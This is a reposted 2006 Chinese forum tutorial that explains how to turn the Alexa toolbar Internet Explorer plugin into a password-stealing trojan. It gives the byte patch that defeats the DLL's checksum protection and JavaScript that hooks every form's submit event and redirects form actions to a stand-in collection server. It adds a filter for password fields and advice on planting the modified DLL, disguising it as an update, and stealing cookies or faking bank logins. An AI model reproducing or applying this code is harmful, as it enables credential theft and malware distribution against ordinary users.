查看單個文章
舊 2006-03-10, 06:31 AM   #1
psac
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設 把Alexa工具條改裝成木馬

把Alexa工具條改裝成木馬

作者【四不像】【www.20cn.net】
Alexa是一個發怖全球網站排名訊息的網站,他的網址是http://www.alexa.com。Alexa通過在客戶端安裝Alexa工具條來收集採樣全球網站的訪問資料,以這些資料為依據對全球網站進行排名,類似於電視收視率的統計。Alexa工具條是一種類似於Google工具條的IE插件,你可以在下面URL中下載:http://download.alexa.com/index.cgi。

  一、Alexa工具條的工作原理

  Alexa工具條是一種關於BHO和Toolbar Bands技術的一種IE插件。它以DLL文件的形式存在於系統中,是一種COM元件,IE會在執行時將其載入到自身工作中去,所以一般情況下防火牆是無法禁止該軟體訪問網路的,這就為他的木馬角色提供了先天的便利,而且比本地機Sniff軟體收集密碼的優勢是:無論是HTTP還是HTTPS的網站,不管通信通道是否加密,只要是IE頁面的表單都能收集到。具體原理可以參考《關於Alexa排名作弊的一些解惑》(http://www.donews.net/tabris17/archi...20/104018.aspx)

  系統在安裝了Alexa工具條後,會在系統目錄下產生AlxTB1.dll和AlxRes.dll兩個DLL文件(有些情況下是AlxTB2.dll,而不是AlxTB1.dll。那是因為Alexa工具條會自動上網更新的原因)。Alexa工具條的主要二進制程式碼存在於AlxTB1.dll文件中,這個文件同時也被註冊成多個COM元件,他完成了BHO和Toolbar Bands的COM接頭,並將IE的WebBrowser控件封裝為一個COM元件供AlxRes.dll使用。AlxRes.dll文件僅包含少量的二進制程式碼,大量的程式碼是HTML和JavaScript程式碼,他們以資源的形式存在於AlxRes.dll文件中,你可以通過res://AlxRes.dll/CHTML/about.html這樣的URL來訪問這些資源。也許你會奇怪:又不是做網站,為什麼軟體的程式碼會是JavaScript寫的?這就是Alexa工具條垃圾的地方。Alexa工具條的主界面是由HTML+JAVASCRIPT實現的。這些JAVASCRIPT程式碼通過使用AlxTB1.dll實現的COM接頭來實現軟體的全部功能。這樣做不僅導致軟體的效率低下,而且產生大量的資源洩漏,絕對是一種VERY超級SB的開發模式,但是卻為我們修改Alexa工具條的功能提供了方便——根本不需要CRACKER知識,只要一個PE資源修改工具就可以對Alexa工具條的程式碼進行修改了。

  二、破解Alexa工具條

  當然,Alexa也不是真傻,絕對不會蠢到讓自己的程式碼被你用資源修改工具隨便改。為了防止AlxRes.dll中的資源被隨意修改,他採取了計算文件校驗和的保護方法,要是發現文件被修改,就會拒絕載入。我們在修改程式碼前,必須破解這種保護機制。

  AlxTB1.dll匯出一個名叫ChecksumResources的函數,這個函數就是用來計算文件校驗和的。用c32asm反彙編AlxRes.dll文件,檢視字串串使用列表,找到"ChecksumResources"字串串,跳轉到使用該字串串的程式碼,於100017C0處。往下翻幾行,在100017F6處找到一句跳轉,採用爆破方式,用NOP指令覆蓋JNZ指令即可。通俗點講:就是將AlxRes.dll文件偏移"0x17F6"處的兩個字元"75 11"改成"90 90",你可以使用WinHex之類的16進制編輯軟體來修改。

  ::100017C0:: 68 9C700010 PUSH 1000709C \:BYJMP JmpBy:100017A4,100017B1, \->: ChecksumResources

  ::100017C5:: 57 PUSH EDI

  ::100017C6:: FF15 1C500010 CALL [1000501C] >>>: KERNEL32.DLL:GetProcAddress

  ::100017CC:: 85C0 TEST EAX, EAX

  ::100017CE:: 74 0E JE SHORT 100017DE \:JMPDOWN

  ::100017D0:: 8D4D DC LEA ECX, [EBP-24]

  ::100017D3:: 51 PUSH ECX

  ::100017D4:: FF35 44740010 PUSH DWORD PTR [10007444]

  ::100017DA:: FFD0 CALL EAX

  ::100017DC:: 59 POP ECX

  ::100017DD:: 59 POP ECX

  ::100017DE:: 57 PUSH EDI \:BYJMP JmpBy:100017CE,

  ::100017DF:: FF15 18500010 CALL [10005018] >>>: KERNEL32.DLL:FreeLibrary

  ::100017E5:: 8D45 B8 LEA EAX, [EBP-48]

  ::100017E8:: 50 PUSH EAX

  ::100017E9:: 8D45 DC LEA EAX, [EBP-24]

  ::100017EC:: 50 PUSH EAX

  ::100017ED:: E8 AE060000 CALL 10001EA0 \:JMPDOWN

  ::100017F2:: 59 POP ECX

  ::100017F3:: 85C0 TEST EAX, EAX

  ::100017F5:: 59 POP ECX

  ::100017F6:: 75 11 JNZ SHORT 10001809 \:JMPDOWN ;就是修改這裡

  現在我們可以毫無顧忌的修改AlxRes.dll中的資源了。可以參考《新版本的 Alexa Toolbar 破解方法》(http://www.donews.net/tabris17/archi...18/137121.aspx)

  三、修改Alexa工具條的程式碼

  熟悉IE編程的人都知道,DWebBrowserEvents2接頭是用來接收WebBrowser的事件通知的,我們可以在AlxRes.dll的Javascript程式碼中找到這些些對應的函數。在res://AlxRes.dll/SCRIPT/EVT.CLASS.JS的程式碼中,有一系列的JAVASCRIPT函數,對應於DWebBrowserEvents2接頭的成員,如ocumentComplete->BP_onDocumentComplete,NavigateComplete2->BP_onNavigateComplete,BeforeNavigate2->BP_onBeforeNavigate。按照DWebBrowserEvents2接頭,我們可以在BeforeNavigate2中截獲PostData,但是在AlxRes.dll的程式碼中,這個接頭沒有完全實現。在DWebBrowserEvents2接頭中的原型是:

  void BeforeNavigate2(IDispatch *pDisp,

  VARIANT *&url,

  VARIANT *&Flags,

  VARIANT *&TargetFrameName,

  VARIANT *&PostData,

  VARIANT *&Headers,

  VARIANT_BOOL *&Cancel

  );

  這其中的PostData包含了的Post資料。而BP_onBeforeNavigate的函數原型:

  function BP_onBeforeNavigate(oParentWebBrowser2, oWebBrowser2, sURL, bPostData, sHeaders);

  其中,bPostData只是個BOOL檔案類型的變數。此路不通,必須另想辦法。

  一般來說,我們在IE中輸入的用戶名密碼都是通過表單提交到伺服器的,如果能在表單提交前截獲表單的內容就可以實現竊取密碼了。在JAVASCRIPT中,只要處理表單的"OnSubmit"事件,就可以先於提交而處理表單的內容。而AlxRes.dll的功能也是由JAVASCRIPT實現的,所以我們就無需面對繁瑣的COM接頭,而直接使用JAVASCRIPT了。

  這裡我推薦使用Resource Hacker來修改AlexRes.dll中的資源,個人感覺比eXeScope用起來爽多了。

  四、截獲網頁表單的內容

  我現在使用的方法有些類似於"跨站點指令碼執行漏洞"。先來看看"res://AlxRes.dll/SCRIPT/EVT.CLASS.JS"中的"BP_onDocumentComplete"函數:

  function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL);

  該函數在IE的當前瀏覽頁面被載入完成時被使用,其中的 oWebBrowser2 參數可以當作當前IE正在瀏覽的頁面的window對象。如果你懂得JAVASCRIPT的話,接下來要做的事情就十分簡單了。增加如下程式碼:

  function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {

  ... ...

  try{

  for(i=0;i

  {

  oWebBrowser2.document.forms.onsubmit=test;

  }

  }catch(e){}

  return false;

  }

  這段程式碼的作用就是枚舉本頁面中所有的表單對象,並為這些表單定義OnSubmit事件。接下來就是完成test函數了:

  function test()

  {

  try{

  window.alert("I can get the value!");

  for(i=0;i

  {

  if(this.elements.name!="")

  {

  window.alert(this.elements.name+":"+this.elements.value);

  //do some thing

  }

  }

  }catch(e){}

  return true;

  }

  不過用這種方法存在一點弊端:當表單是通過JavaScript語句"Submit()"提交時,不會產生"OnSubmit"事件,上面的程式碼也就無法紀錄下表單的內容了。可以採用改變表單提交位址的方法來解決這個問題:

  function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {

  ... ...

  try{

  for(i=0;i

  {

  oWebBrowser2.document.forms.innerHTML=oWebBrowser2.document.forms.innerHTML+"";

  oWebBrowser2.document.forms.action="http://www.faketarget.com/gather.asp";

  }

  }catch(e){}

  return false;

  }

  以上的程式碼對於某些頁面存在問題,有時會無法將隱藏字段增加到表單中去。

  五、散佈和植入木馬

  以上程式碼均是用PE資源軟體修改AlxRes.dll文件實現的。所以,只要用新的AlxRes.dll文件將原來系統的AlxRes.dll取代掉。Alexa工具條在載入的時候會優先在"C:\Program Files\Internet Explorer"和"C:\Documents and Settings\[username]\桌面"這兩個路徑下搜尋AlxRes.dll,所以也可以把修改過的AlxRes.dll放到這兩個路徑下,這樣就不用覆蓋源文件了。至於怎麼安裝,那可是有一大堆的IE漏洞等著你去Exploit呢,這可不是本文涉及的範圍。

  安裝了Alexa工具條的IE的"User-Agent"會加入"Alexa Toolbar"的標記,所以很容易區分目標的IE是否已經安裝了Alexa工具條:

  User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toobar)

  也可以修改Alexa的安裝文件,或者以Alexa修正檔的名義來發怖,這個就扯遠了。

  六、收集密碼

  你可以用FileSystemObject控件來將表單內容紀錄到文件,或者直接作為參數傳送到某個Web伺服器,由web伺服器收集紀錄下來即可。為了在客戶端過濾一些不包含密碼的表單,最好在AlxRes.dll的程式碼中對收集的表單資料進行一些檢查:

  function test()

  {

  var IsPwdForm=false;

  var FormStr;

  try{

  for(i=0;i

  {

  if(this.elements.name!="")

  {

  if(this.elements.type=="password")

  IsPwdForm=true;

  FormStr=FormStr+this.elements.name+"="+this.elements.value+"&";

  }

  }

  if(IsPwdForm)

  {

  //表單包含密碼文本,進行收集

  }

  }catch(e){}

  return true;

  }

  七、其他的套用

  大多數的網上銀行登入界面是由ActiveX控件實現的,無法截獲表單資料,但是我們可以通過"oWebBrowser2"對像來操縱、修改瀏覽的頁面,當然也可以偽造一個網上銀行的登入界面。還可以用來收集用戶瀏覽網頁的紀錄,也可以用來竊取用戶COOKIE等。
__________________
http://bbsimg.qianlong.com/upload/01/08/29/68/1082968_1136014649812.gif
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次